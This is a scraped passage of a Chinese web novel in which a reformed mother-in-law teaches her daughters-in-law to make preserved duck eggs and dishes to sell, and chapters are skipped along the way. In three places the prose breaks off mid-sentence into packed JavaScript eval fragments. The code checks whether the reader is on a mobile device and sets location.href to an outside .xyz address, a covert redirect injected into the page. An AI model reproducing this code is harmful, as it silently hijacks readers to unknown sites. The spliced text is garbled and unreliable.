她拿起木棍把它们都搅拌成均匀,又把鸭蛋在搅拌好的石灰浆里面滚一圈,让鸭蛋的每一个角落都沾上厚厚一层。在用稻壳包好,放进了坛子中。 “看这样就好了,简单吧。”秦嘉言温柔的看着胡氏,让她也操作了一下,“对,就这样,你不用太紧张,鸭蛋不会碎掉的。弄好了这一坛,放阴凉地方,20天,这鸭蛋就能变成金蛋了!” 秦嘉言笑盈盈的看着胡氏把一大坛子包好的鸭蛋放在角落,又拿起剩下的鸭蛋,整齐的码在坛子里,“娘,你这忘记滚石灰浆了。”胡氏着急的喊道。 “这个不用,这个简单,鸭蛋摆放好,放上厚厚的一层盐,在把刚才的香料水都放进去就行了。”秦嘉言拍了拍手上的灰,拿起今儿刚买的盐粒一层一层的撒在上面。 “天啊,娘,你怎么撒了这么多盐,这不会咸的发苦么?”胡金花焦急的问。 “不会的,你记住,你以后自己做的时候也按照的这个量,盐放的少了,这个鸭蛋就腌不出来油,还特别容易坏。” “油,鸭蛋里面还能腌出油么?”胡氏的眼睛充满了好奇。 “到时候你就知道了,这个也放在角落里。二十天我们就能发财啦!” 8. 第 8 章 二十天刚到,秦嘉言就迫不及待的地让儿媳们将那两个装鸭蛋的大坛子搬过来。 胡氏和陈氏一人抱一个,把坛子放在秦嘉言的脚边。刘菇的气色比之前好了许多,她坐在院子里,看着大家伙在忙碌,白皙的脸蛋都泛起了一层层红晕。 不是她偷懒不想帮忙,而是这阵子婆婆和这两个妯娌盯着她像盯着一个精贵易碎的琉璃娃娃一般,连灶间添柴烧火的琐碎事都要抢着做完。一点活都不让她沾手。 这几天日头愈发毒烈,好不容易种下的小麦晒的蔫蔫的,地里的杂草疯狂往上窜,长的比小麦还要高。四个儿子被秦嘉言打发到地里去除草了,不是不让他们学做鸭蛋,而是这个社会的农民还是以土地和粮食做为生存的根本,田地伺候不好,来年的租税都没有办法交上去。 胡氏非常兴奋的打开了其中一个坛子,从里面拿出了个包满稻谷壳的鸭蛋。谷科下面还露出黑灰色的泥浆。“娘,这就是你说的金蛋吗?和前几天放进去的时候没什么区别呀?” 秦嘉言一看外面那品相就知道这批鸭蛋腌制的很成功,她笑意盈盈的接过胡金华手中的鸭蛋,“成功了!这就是金蛋,你不懂,快给我端盆水来。” 陈氏一听赶紧端过来一大盆水,还顺便拿了一条布斤。上次婆婆做这些鸭蛋的时候,她正好崴脚了不能动弹。这回她得在婆婆身边好好学学。 秦嘉言用手轻轻的把稻壳扒开,又用水仔细把鸭蛋上面的灰泥洗干净。“看!这就是金蛋了!” 在几个儿媳妇不解的目光下,她用力的磕了一下金蛋的边缘,胡金花立刻想阻止她,“娘,这鸭蛋还没煮熟呢,还是生的。” 只见秦嘉言手里的鸭蛋并没有像往常一样流出蛋液。好神奇,做鸭蛋的时候她一直就在婆婆身边看着,这鸭蛋确实一下都没有用水煮熟过啊。 秦嘉言眉眼弯弯的看了她一眼,又继续剥开青白色的鸭蛋皮,露出了一个金黄色的凝脂。 那琥珀色的蛋白微微颤抖,晃得胡氏眼睛都直了。这......这就是她做出来的金蛋么?这也太漂亮了。 “来,你们几个都尝一尝。”秦嘉言把鸭蛋掰开四份,里面溏心流沙蛋黄散发着淡淡的香味。 陈氏接过鸭蛋没敢入口,这颜色太漂亮了,真像是一块溏心宝石,她有点舍不得。 刘菇年纪小,没想那么多,直接把鸭蛋放到了嘴里。这!太好吃了。刘菇的眼睛都冒出了亮晶晶光。 这鸭蛋和之前吃过的蛋完全不一样!蛋白柔韧弹牙,刚一入口就在齿间化开,带着淡淡碱味道的咸鲜,舌尖触及溏心的刹那,绵密的蛋黄瞬间流淌,裹着浓郁的油脂香与醇厚的咸香,微微的辛辣感在味蕾上跳跃,却又被回甘迅速抚平。 这个味道真是太神奇了!“娘,你也太厉害了吧!你这是怎么做到的。”刘菇睁着圆溜溜的大眼睛对秦嘉言撒娇。 “这个太好吃了,以前怎么都没见你做过啊!” “一言难尽。”秦嘉言神秘莫测的笑着。“之前我不是差点摔死么。” 胡氏连忙阻止她:“婆婆,说什么死不死的,多不吉利......” 秦嘉言挥手打断了胡氏的话,“没事的,我现在不是好好的吗?不用太担心。”她捂嘴呵呵的笑了出来。 “之前我说去那奈何桥边见到了阎王,是真的也好,还是假的也罢。总之他送给我一份菜谱。说我要是能够好好改正,就能知道里面的东西内容,就能做出来。” 秦嘉言看着陈氏她们目瞪口呆的样子笑了笑,“我一开始也以为是做梦呢,但忽然有一天,我的脑子就像打开了什么机关,这脑袋里啊,就忽然知道了这金蛋怎么做。” 她把声音放的很低,神秘的和几个儿媳交代:“这事儿,我就只和你们三个人说了,就连我那四个儿子都没有告诉,以后也不会告诉别人,你们三个也要替我保守秘密哦。” 陈氏立刻用力的点点头,“娘,我发誓,我一定不会告诉别人,要是我告诉别人就让我被老天爷天打五雷轰,不得好死!”刘菇和胡金花也纷纷发誓,绝对不会说出去。 秦嘉言欣慰满足的笑了,她摸了摸陈氏的头,语重心长的对她说:“你们放心,将来我要是在得其他美食方子,也会都教给你们的。我们娘几个的日子一定会越过越好的。” 三个人瞬间都红了双眼,尤其是胡氏,她在娘家的时候都没有受到过这么多关爱,要不然也不会受到李闻生那么多的毒打,也没有娘家人来帮她出过一次头。 “娘,你真的比我的亲娘还亲!我这辈子跟定你了。”胡氏趴在秦嘉言的身上嚎啕大哭,其他两个妯娌也不停的抹眼泪。 都说嫁鸡随鸡嫁狗随狗,就算她们有人的娘家能说上话,也不能帮她们过一辈子。娘家人走了,关上门,各家还是要过原来的日子的。 幸运的是,她们的婆婆现在真的改了,她们现在待她们,比自己的亲生儿子还要好。这日子也越过越有盼头了。 “好啦,好啦,都别哭了,今天是个好日子,大家伙都哭哭啼啼的像什么话,不知道的,还以为我这个“恶婆婆”又欺负你们了呢。”秦嘉言温柔的给她擦去眼泪,又拍了拍她的脸。 “行了,去把那个坛子也搬过来。那里面的蛋不能直接吃,还得在处理一下。” 她把坛子里面的鸭蛋都拿了出来,轻轻的放在蒸笼上。“这个五香咸鸭蛋还得上火蒸一下才能流油。不然就是生的。”她趁着鸭蛋还在蒸的时候,让陈氏出门捡了块豆腐。 “今儿我下厨,做几个好菜,一会等他们哥儿四个回来,我们一家人好好吃一顿,也算是和过去糟粕搞个别,以后的日子我们一定会越过越好的!” “嗯,娘,我这就去田里叫他们回来。”胡氏迫不及待的想要出去,秦嘉言连忙喊住她:“不急,我一会教你们做几个新菜。你学会了再去也来得及。” 她把蒸好的鸭蛋放凉,剥开鸭蛋青皮,棕红油亮的汁水瞬间顺着裂缝留了出来。“娘!这就是你说的油吗”胡氏指着鸭蛋在瓷盘上凝成的油珠兴奋的喊到,“这鸭蛋里面真的有油啊!” 秦嘉言把蛋黄扒出来,放到她嘴边,“你尝尝看。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15909279|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 胡氏轻轻的咬了一口,咸香裹着油脂的醇厚在立刻在舌尖化开。“好好吃!”她的眼睛瞬间亮了起来。嘴里沙沙的蛋黄细腻绵密,越嚼越有回甘,咸鲜油脂顺着喉咙滑下,让她忍不住又咬了一口。 “娘,这个真是太好吃了吧!一点腥味都没有!以前的鸭蛋没这么处理真是太浪费了。”她忍住嘴馋,把剩下的蛋黄分给了陈氏和刘菇二人。 刘菇的脸蛋比刚才还要红润,她抿下蛋黄后,眉头瞬间舒展,“这蛋黄太好吃了,越嚼越香,跟镇上八香楼的点心似的!” 陈氏尝了一口,忍不住又从秦嘉言手里拿了一块蛋清放进嘴里,“这蛋清也好好吃,虽然没有蛋黄那么甜,但又咸又鲜,还没有腥味。” 秦嘉言看着她们的样子,就知道这生意一定做的成,“金花,明儿你去村里各家收下鸭蛋,有多少要多少,我们多做点。” “娘,那这些怎么办?”胡金花问到。“这些明儿去镇上都卖掉。凑点本钱,正好再买几个大坛子。” “行啊娘,明儿我们陪你一起去。” 秦嘉言点点头,剥开了两个五香鸭蛋,放在锅里轻轻的碾成碎末,在加入两大碗水烧开,上面立刻浮出了一层香色的油。 她把豆腐切成小块放了进去,不一会豆腐局在锅里翻滚起来,奶白色的豆腐块,被蛋黄染成了一层金灿灿的颜色。 她连汤在豆腐都挪进了一个大砂锅里,又在上面撒下一把翠绿的小葱花。鸭蛋的香气裹着豆香直往鼻子里钻。馋的刘菇在旁边直流口水。 “娘,这也太香了吧!能给我尝一块不。”她这次病好了,胆子也大了许多,这些天相处下来,她把秦嘉言当成亲娘一般,时不时的还会撒娇一下。 秦嘉言刮了一下她的鼻子,又用铲子盛出来一小块豆腐,放在她碗里。“给你,小馋猫,吹一吹凉透了在吃,别烫着。” 刘菇点点头,笑嘻嘻的把豆腐吹了几下,就迫不及待的用勺子挖开,豆腐里裹满了细腻的蛋黄。咬下去一口,先是滚烫的豆腐在嘴里炸开,紧接着是蛋黄沙沙的咸香。一口吞下去,感觉舌头都想跟着一起嚼化了。 刘菇鼓着腮帮子,眼睛享受的眯起一条缝。嘴里细细的品味,还不忘竖起大拇指夸赞,“娘,吼吼吃啊,比我以前在八香楼吃过的还要好吃!” 胡氏笑呵呵的把手里的柴火丢到灶台里面,又轻轻拍了下刘菇的屁股:“你行啊!还去过八香楼,那里面的东西可贵了,我连路过都得快走几步,就怕多闻几下,那小二都得出来跟我收银子。 “我也就去过一次,还不是正经在前面吃饭。是有回八香楼选中了我家的菜,我和我爹去送菜,那洗菜的正好是我们村的一个婶子,她偷偷给我夹了一块别人剩下的八宝鸭,那味道,让我记到现在!” “八宝鸭,那个可是八香楼的招牌菜,1两银子一只呢!我想都不敢想。” “可不是么,我做梦都想去八香楼吃一回。不过娘做的这鸭蛋也超级好吃,我已经满足啦。”刘菇笑呵呵的把碗都摆上。婆媳们正聊的高兴,院门就被打开了。 9. 第 9 章 “今天这天可真热!明儿再过去得多浇点水了。”李闻生一边擦汗一边把手里的镰刀放在大门后。“好香啊,你们这是做什么好吃的了?” “你们回来的可真巧,饭马上就好了,正要去地里面喊你们呢!”胡金花连忙从井里打了一盆水,并拿了两条汗巾过来。 “赶紧洗洗手上里屋歇一会,我跟你说,娘今儿研究了很多新吃食,特别好吃,一会你好好尝尝。”胡金花拿着汗巾把李闻生头上的汗珠仔细擦掉,还随手拿起一把扇子帮他扇了一会。 这些天李闻生一直田里干活,突然想通了,像是活明白了,理解她以前的不容易。不但不会像以前连骂再打,还经常帮带一些小玩意回来哄她开心,有时是一朵小花,有时候是田里抓的小鸟,还有时候是山里面捡的野果子。 他们两个现在就好像新婚那个时候一样甜蜜,胡氏也开始认真关心起自家男人起来。 李闻生看了眼左右没人看他,就从怀里拿出两个杏子偷偷塞给她,胡氏一看他那做贼似的样子笑得眼睛都眯成月牙了。 “瞅你,像小孩似的,也不怕别人笑话。”她笑的不行,转身把这几个杏子又手帕包好,这是相公送的,她有点不舍得和别人分享。 “娘,你这是做什么好吃的啦?我离老远就闻到了。饿死我了!”李玉生闻到香味就立刻扑过来,把铡刀随手丢在一边,伸手就要抓一个尝尝。 “等下在吃,先洗手去。”秦嘉言赶紧拍了下他的手,“放心,一会让你们吃个够。” 李玉生赶紧跑到大嫂刚端过来的水盆边,把手伸进去涮了几下就要拿出来。 “唉!你好好洗洗!”胡金花赶紧把这个小叔子的手又按了回去。她现在可越来越有长嫂的范儿了。“看你拿脏手,指甲缝里都是泥,你不洗干净点,小心娘一会不让你上桌。” 秦嘉言乐呵呵的瞧着他们几个人,这比她刚穿过来的时候好多了,一家人其乐融融的多好。不像那个时候,满院子里不是死气沉沉就是鬼哭狼嚎的声音。 她转身回了厨房,又剥开几个皮蛋。“我今天做几个你们都没吃过的新菜,你们几个帮我试试好不好吃。” “娘做的东西那还用说。没有不好吃的!”老二羡慕的看着大哥和大嫂恩爱的样子。可惜自从上次他偷媳妇钱出去赌博,被发现又踹了媳妇一脚后,媳妇就对她一直不冷不热了。 衣服啥的也正常给她洗,饿了也会给她盛下饭,但是就不跟她热络,也没给他过好脸。 这要是以前,这娘们这么不知道好歹,他也早就一巴掌扇过去了,可现在…… 他看了眼秦嘉言撇撇嘴,他就算是大点声跟陈氏喊一句,她娘的大扫帚能轮的他脑门直冒金星。 “那个玉桂,今天挺热的奥?你帮你娘干活辛苦了。”老二挠了挠鼻子,硬着头皮和自己媳妇搭话。 陈氏白了他一眼没有吱声,她压根就不相信狗能改得了吃屎。现在是婆婆压着他不敢胡作非为,要是婆婆不在身边,他一定会现出原形继续坑她的嫁妆赌博。 之前他还能跪下起誓发愿以后再也不玩了。她心软答应偷偷的帮他还了赌债。之后还不是一次次的让她失望,赌了一次又一次,最后竟然动起手来。他用光了她的信任,现在也没有真心想要悔过的意思。 他这相公不像大哥那样,大哥现在可真的变了不少,不但不再出去花天酒地,对大嫂胡氏也是真上心宠。 李金生现在不出去赌也是因为他实在没有钱! 前些天她在菜地里面蹲下捉虫,李金生没有看见她,蹑手蹑脚的进了大哥李闻生的屋子。 本来她没有在意,以为只是他们哥俩想说会悄悄话。不一会屋内就传出了他大哥怒骂的声音,“李金生,你真是有出息!借钱赌博借到我的头上来了!” “哥,我保证就最后这一次,我肯定能翻身,到时候我加倍还你钱!” “滚蛋!娘和你说的话你都听狗肚子里面了!赌博哪有好下场的。你再这样小心娘真的给你赶出家门!” “真的哥,你相信我,我昨天看见王麻子了,他说现在赌场这阵子向撞了邪,谁去都能赢。那天他就带了1两银子,你猜怎么着,回来了足足五两啊!” “你别听信那个,娘说了那都是赌场做扣儿,专门骗你们这样的赌鬼!王麻子能赢钱我一点都不相信!白天我从他家门口入过的时候,还看他老子娘在那帮人家洗衣服赚铜板,要是他真发财,还能让她老娘这么辛苦!” “真的大哥,不信你跟我过去看看,王麻子可是拿出那白闪闪的银子给我看了,货真价实!要不你陪我去小渔村,我俩先看看,要真能来钱,在下注。” “我不去!我告诉你,你也不许去!你要敢走,我就立刻告诉娘把你逐出去!” “哥!你咋地了这是,以前你最疼我了。你现在咋变了个人似的!” “以前是以前,以前我也成不是东西了。你说你也跟我下地干活这么长时间,就没有觉得银子特不好赚,你就不想想之前娘是怎么养活我们四个大小伙子的!咱们媳妇以前一天到晚下地,累的腰都挺不起来,你就好意思拿钱自己出去玩?” “所以我这不是想要大家都轻松点就有银子花么,我也是为所有人考虑的。” “拉倒吧!金生,我也不想再劝你,你要还当我是大哥,从今天起我去哪你去哪!我就不信管不了你了。” “哥——”陈玉桂听到这里,抬脚就走了。哼!果然就像她想的一样。狗改不了吃屎!这李金生要是能改正过来,老母猪都能上树。 她现在看着李金生在她身边绕来绕去的也没有搭理他。实在烦了,干脆直接躲在厨房里,帮着秦嘉言做饭,也正好能学学手艺。 秦嘉言看着陈氏的样子摇了摇头,这孩子真是可怜,嫁了这么个不争气的丈夫,不但嫁妆都被骗光了不说,那黑心肠的还想着四处去借。到时候还不上还不是让她来填坑。 她安慰的搂住了陈氏,拍了拍她的后背。“没事,不用非搭理他,反正他也没有钱出去玩,我都跟村里那几个老婶子说了,让她们帮我把话都传出去,谁干借他钱,谁家就别想好过!你别想那些有的没的,咱们娘几个过好自己的日子就成。” 陈氏含着眼泪点点头“娘,不说那些了,咱们说点高兴的。”她把眼泪擦干,又往灶台里面填了一把柴火“娘,我想和你学做饭。” 秦嘉言笑着点了点头,想做自己的事情就好,女人这一生没有必要非要围着男人转! “来我再教你做一个白菜三鲜汤,你帮我把过年时腌的火腿拿过来。” 哇!娘今天真是大手笔啊,居然吃肉了,要知道这大半年她连肉是什么滋味都忘记了。 秦嘉言把火腿切下一小块,把外皮去掉,只切了中间鲜红的部分。又把白菜摘干净。这个季节的白菜特别嫩,还翠绿翠绿的,还没有什么土腥味,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15909280|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做都好吃。 “这个汤可简单了,我说你做,不用怕做不好。”秦嘉言笑盈盈的把勺子交给陈氏,她在一旁指导。 “这两个剥好的五香鸭蛋,还有这个金蛋都放在锅里碾碎。”秦嘉言细心的教着,胡氏紧张的馒头大汗。 鸭蛋黄在锅里滋滋冒开了油花。陈氏赶紧拿着锅铲来回翻炒。 “对,就是这样,把锅里填些水,多放点,我们这是要做汤,等水开了,在把白菜和火腿丁放进去,不用放其他调料,白菜熟了就好了。”秦嘉言拿着水瓢舀了两大瓢水放进锅里。 “这么简单?”胡氏几乎不敢置信,这能好喝么?不过这颜色真实漂亮,火腿粒的红,金蛋的黄,白菜的青白,全泡在奶白色的汤里。 “放心吧,肯定好喝。”出锅时,秦嘉言又在上面滴了两滴芝麻油。瞬间蒸腾的热气混着鲜香直往鼻子钻。 秦嘉言又拿出几头大蒜和几个辣椒,“我再教你做个蒜蓉金蛋还有烧椒金蛋,都特别简单。” 这会秦嘉言没有让陈氏动手,而是让她在一边看着。陈氏闲不住帮忙把金蛋都切好,秦嘉言把辣椒丢到灶台里面烤的表面微微发黑,她把黑色的地方剥下去,在放进臼子中。 "娘我来吧!"胡氏也进了厨房,看见秦嘉言舀捣碎辣椒,赶紧接了过去。秦家滩笑着点点头,在臼子李面又放了点糖和盐,想了想又点了两滴芝麻油进去。 嚯!这辣椒的味道一瞬间就不一样了,辣中裹着咸鲜,又带着芝麻油特有的香气,馋的胡氏忍不住丢到嘴里尝了一下。 秦嘉言将十多头大蒜都仔细剁成碎末装在瓷碗里,又把油坛子抱过来,这年头油非常贵,平常做饭都不会放油,只有在过年节的时候才能放一些。 秦嘉言没管那么多,灶上的铁锅烧得没了水汽,倒了半坛子菜籽油,等油面微微冒烟,先舀了小半碗蒜泥滑进油锅。 蒜末刚沾到热油,“刺啦”一声炸开,金黄的油花裹着蒜粒翻涌起来,没一会儿就浮起金灿灿的小碎块,蒜香混着油香直往鼻子里钻。 她赶紧抽出几根柴火,让火小一些,手里用勺子不停翻动,看蒜末边缘泛起浅褐色,立刻连油带蒜倒进空碗里。 她让胡氏赶紧把剩下那半碗生蒜泥也倒进去,热油“滋——”地一声,生蒜的辛辣气瞬间被激出来,和炸过的蒜香混在一起。 陈氏看的直了眼睛,没想到大蒜拿油炸过以后会这么香,馋的口水都要流出来。 院子里的其他人闻到了,都有点迫不及待了,娘做的这是什么啊?怎么比肉还要香。 秦嘉言把蒜泥微微放凉后,淋在了金蛋上。又把刚才胡氏捣好的烧椒酱也倒进剩余的金蛋上。 “开饭了!五香鸭蛋,金蛋豆腐,蒜蓉金蛋,烧椒金蛋,三鲜白菜汤。来尝尝。香喷喷热乎乎的四菜一汤!” 李玉生迫不及待的夹了一筷子蒜蓉金蛋塞到了嘴里,金蛋上面放了些许油水咸淡适中,他当即就眯起了眼睛:“娘,这真的是鸭蛋做的么?也太好吃了!” 李水生更喜欢三鲜白菜汤,那个咸鲜让他停不下来,喝完一碗又盛了一碗。 “娘,你这鸭蛋你准备拿出去卖么?”李闻盛夹了一口五香鸭蛋,这鸭蛋的口感太好了。尤其这蛋清咸滋滋的,特别下饭。一个蛋清就能让他多吃一碗饭。 “这次腌了挺多,我打算明天拿到镇上去买,但不直接卖鸭蛋,而是直接卖做好的菜。” 11. 第 11 章 周围围着的人没有散去,有的人还在问秦嘉言她们什么时候还能出摊。 秦嘉言笑了笑,回答:“金蛋和五香鸭蛋的话,还得等上一些时候,过几天我还会准备一些其他吃食,欢迎你们都过来尝尝哦。新吃食第一天,我统统都打折!” 秦嘉言把钱都放进竹筐里,用竹叶盖好,让李闻生背在身后。又让他去雇一辆回村的牛车。自己捡出几串铜钱,带着胡氏和陈氏往陶瓷摊子那去了。 她把摊位上大一些的坛子都买了。一共16个大坛子,才花了200文钱。她让摊主把坛子直接送到和李闻生约好的地方。又和摊主订了40个大坛子,定好1个月之后直接送到李家村。 她拿着剩下的铜板带着陈氏和胡氏去了肉铺。她们今儿算是来的晚了些。肉铺里已经挤满了人,挽着篮子的妇人还在那里讨价还价。 “这五花肉怎么卖?”秦嘉言好不容易挤进去,指着最后一块五花肉问。 “这位婶子好眼力,这上好的五花肉就剩最后这一块了,就收你50文一斤。”卖肉的小伙子极力推荐。 50文?那么贵?这一大块五花肉怎么也得4斤5斤,这一块肉就要200多文!秦嘉言摇摇头,心想还是等以后赚多了银子再来买吧! “你那猪头怎么卖?还有那个猪蹄子?都多少文?”秦嘉言看着摊位上还有两个猪头和7个猪蹄连忙问到。 那小伙子看见秦嘉言没有要买五花肉也没有沉下脸,继续笑盈盈的给她介绍:“这猪头便宜,一个只要10文钱,还有这猪蹄,平时都没人要的玩意,你要是拿这一堆给10文钱拿走吧。” “那我都要了,一共30文对吧?。你数好。”秦嘉言赶紧把铜板递过去,生怕那肉铺伙计会反悔。 “还有那桶猪下水我也要了,多少钱?” “那个啊,都给你吧!不要钱。”肉铺的小伙计十分厚道,没有看秦嘉言付的钱少就怠慢,还把猪下水用荷叶仔细包好递给她。 秦嘉言让胡氏和陈氏把东西都先拎到车上。又转身去了香料铺子。这回她把身上剩下的所有铜板都花光了。每种香料都买了一些。还细心的去了三家香料铺子,买的香料也各不相同。 李闻生这回租的车比较大,上面东西堆的满满的,胡氏和陈氏虽然累了一天,但看着满满的东西和一大筐铜板都乐的合不拢嘴。 “娘,你买这猪头干啥?还有这猪下水。”李闻生不解的问。他娘买的这些东西都是没人要的,喂狗喂猪的。他们家里又没有狗。 “这些可是好东西,鸭蛋准备的周期太长,也不需要那么多人看着,我准备在做几样吃食出去卖。” “做这玩意?有人买吗?这不是给人吃的东西啊。” “你懂什么,这玩意做好了可是超级好吃的。到时候人都得抢着吃!” 下了车,她秦嘉言把猪头下水什么的都交给胡氏和陈氏,猪下水让她们多洗几遍,在用碱揉搓一下。猪头和猪蹄等她回来在处理。 她自己从筐里直接拿了一串铜钱直奔村里柴木匠家里去。 柴木匠家里的院子不大,大门口还堆着一些木料,远远的就能闻到空气中淡淡的刨花和桐油的气味。 “柴木匠在家吗?”秦嘉言推开了院门。看见里面摆满了各式各样的工具,墙上挂着锯子、刨子,角落里还放着未完工的木床。 柴木匠正专注地在一块木板上画线,一抬头看见了秦嘉言走进来。“是秦娘子啊。有事吗?” 秦嘉言踩着松软的木屑走了进去。“柴师傅我想请您……打个东西。” “哦?打什么?”柴木匠放下手中的笔,目光落在她手中的铜钱上,又抬头看了看她。 “我想打一个一个能推着走的小车,”秦嘉言努力描述着自己脑海里的样子,“比货郎的车大一些,上面能支个架子,搭个棚子似的,下面得有轮子,能推着在村里、甚至去镇上走。” 她比划着,“就像……就像个能移动的小摊子,上面的桌板要挖开和大洞,我要在上面放一口大黑锅。下面加一快厚木板,我要在那上面放一个碳炉。” 柴木匠听完,没有立刻回答,而是上下打量了她几眼,又沉思了片刻。 他做过货郎车,也见过独轮车,但秦嘉言说的这个“小食推车”,似乎更复杂些,尤其是那“能推着走”的轮子和上面的架子。 “你要的这东西。”柴木匠开口了,“得用结实的木料,轮子也得做得规整,不然推起来费劲,还容易坏。上面的架子和棚子,也得设计好,不能太重,也得能挡风遮雨。” 秦嘉言连忙点头:“是,就是这个意思,柴师傅,你手艺好,我相信你一定能够做出来。你看这串钱,够不够?” 柴木匠伸出手,拿起那串铜钱,放在手里掂了掂,又数了数。 “够是够了,”他把铜钱放回布巾上,“就是这轮子和架子费点功夫,木料也得选好点的,松木结实,但有点沉,柏木轻些,也耐用。” 他顿了顿,看着秦嘉言接着说:“你要是急着用,大概……最少三天能给你弄出来。不过现在你得告诉我,具体想要多大尺寸,架子多高,轮子要多大……中间放多大的铁锅。” 秦嘉言听着柴木匠详细的询问,心里的一块大石终于落了地,三天,正好三天是集市,她回去把食材都准备好,就能推车去镇上卖了。 “谢谢柴师傅!尺寸……我想着,能让我站在后面推,架子不用太高,能搭个薄布棚子就行,轮子……您看着办,结实就行!不用做的太精致,能用就行!” 柴木匠点点头,交代她三天之后过来取,就继续开始埋头干活了。 秦嘉言回到家,陈氏连忙迎了上来。“娘,你回来啦,看看我们这猪下水洗的合格不?”她献宝似的拿出了一块猪肺给秦嘉言看。 猪肺被洗的很干净,上面一丝血水都没有。猪肠子也是,冲洗的不只干净,还一点味道都没有。 “娘,你说那个用碱揉搓的方法真好使,洗干净用碱揉一揉,这味道基本上就都没有了。” “娘,你这是要做什么新吃食吗?”胡氏问。 “嗯,光靠金蛋和五香鸭蛋赚钱周期太长了,而且五香鸭蛋做法简单,那些大酒楼买几个鸭蛋回去,研究一阵子就能研究出来了,我们得弄些新吃食。”秦嘉言笑眯眯的解释到。 “娘,你是要做我们洗的这些东西?这些东西煮了也不好吃,不是饥荒年,没人吃这玩意的。”刘菇从屋里出来看着秦嘉言说到,她虽然对秦嘉言做的吃食有信心,但这些下水以前真没人做过。 “放心吧,我得手艺你还不知道么,我这回研究一个新吃食,要是成功的话,我们就可以每日都去镇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15909282|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上赚银子了。” “娘!”还没说完,就看见李闻生从屋里跑出来打断了她的话,手里还拿着几大串铜钱。 “娘,你猜我们这一上午赚了多少钱?你都猜不到。”他兴奋的不行,活了这么多年,还是第一次自己亲手赚到这么多铜板。 “就今天一上午,就卖了3650文,这还不算你拿走买菜那些。”李闻生兴奋的跑过来,将铜板全交到秦嘉言手里。“娘,你拿着,这些我都穿好了。” 秦嘉言笑盈盈的看着李闻生,他真的跟以前不一样了。她笑着把铜板拿好,又拿出一串交给李闻生。“这些钱你先拿着,去村里收鸭蛋,有多少要多少,就按照市场价格收,本村的优先。” “这两天就让金花带着玉桂和刘菇把鸭蛋都腌上,这是长久的买卖。你也帮忙照应些。” “行,娘,我这就去二叔公家,让他帮我跟村里人都说一下。”李闻生把铜钱放到胡氏手里就走出了大门。 秦嘉言把剩下的铜钱都放到她那檀木匣子里锁好。日后她想在镇上开和饭馆,这些钱还远远不够。 她想了想把三个儿媳妇叫到身边。“我想在镇上弄个小吃摊位,卖些新吃食,家里这边鸭蛋的生意也不能断。你看看谁愿意跟我学新吃食,谁愿意跟我每天往镇上跑?” “娘,你这是又要研究新吃食了吗?这会你可得带上我了。”刘菇娇憨的说到,“我现在身体已经好多了,做点重活累活也绝对没问题的。” “娘,我也想和你学新吃食。”胡氏连忙上前一步拦在刘菇身前,“刘菇还是在养养吧,毕竟身子才刚好,以前亏了底子,不好好养,将来可怎么好。” 陈氏则笑盈盈的看向秦嘉言:“婆婆,我也跟你学做新吃食吧,我力气大,什么活能干。鸭蛋我也可以接着做。” 秦嘉言一看三个儿媳妇都想和她学,想了想也行,她们可以一起做鸭蛋,一起买吃食。三个儿子专心照顾家里和田地,三个儿媳妇专心赚钱。 她想了想,对胡氏她们几个说:“要是不怕辛苦,那就一起都学吧!” “太好了,谢谢娘!”这几个儿媳妇瞬间乐开了花,太好了!娘同意都教她们了。要知道这年头会一门手艺可是相当不容易,何况这还是能实打实赚银子的生意。 “先说好,这之前的一段时间,可能得辛苦一些天天往镇上跑,会很累。不过等银子赚够了,我们能在镇上盘下个铺子就会好很多了。”秦嘉言先把丑话说在前头。天天去镇上,她们家又没有骡车,一开始肯定会非常累。 “放心吧娘,之前我们什么活没干过,这都是很轻松的了。”陈氏连忙表态 “是啊,娘!您现在也不让我们下地干活了。我们也不想在家吃闲饭,屋里屋外就那么点事,不如跟你好好学学这做饭的手艺。将来手头也能宽裕些。”胡氏也赶紧跟着说到。 “没事的娘,您要不放心我,我就在家里帮着打打下手,不干太重的活。等你们去镇上卖货,我就在家看着家做家务。这样大家就都不会太累了。”刘菇知道自己的身体情况,也不想让之前花那么多钱都打水漂。反正她也没彻底好,镇上不去了,她可以干些其他活么。 秦嘉言点点头,“那就说定了,做吃食的时候你们都学着,去镇上的时候就让刘菇看家。等在镇上买了铺子,我们再把她接过去!” 13. 第 13 章 秦嘉言把到了嘴边的话咽回去,朝大门口扬声问:“谁呀?”这么早,鸡都还没叫呢! 门外传来个脆生生的女声:“是我,隔壁,你张婶子!” 听着是隔壁的张婶,秦嘉言快步走到院门边,拨开木闩拉开门。果然见她手里攥着个大碗,鼻尖沾着点灰,眼睛不住的往里看:“秦娘子,你家这是做的什么这么香,把我那小孙孙馋的直哭,没办法,只能由我这个老婆子厚着脸皮像你讨要一碗。” 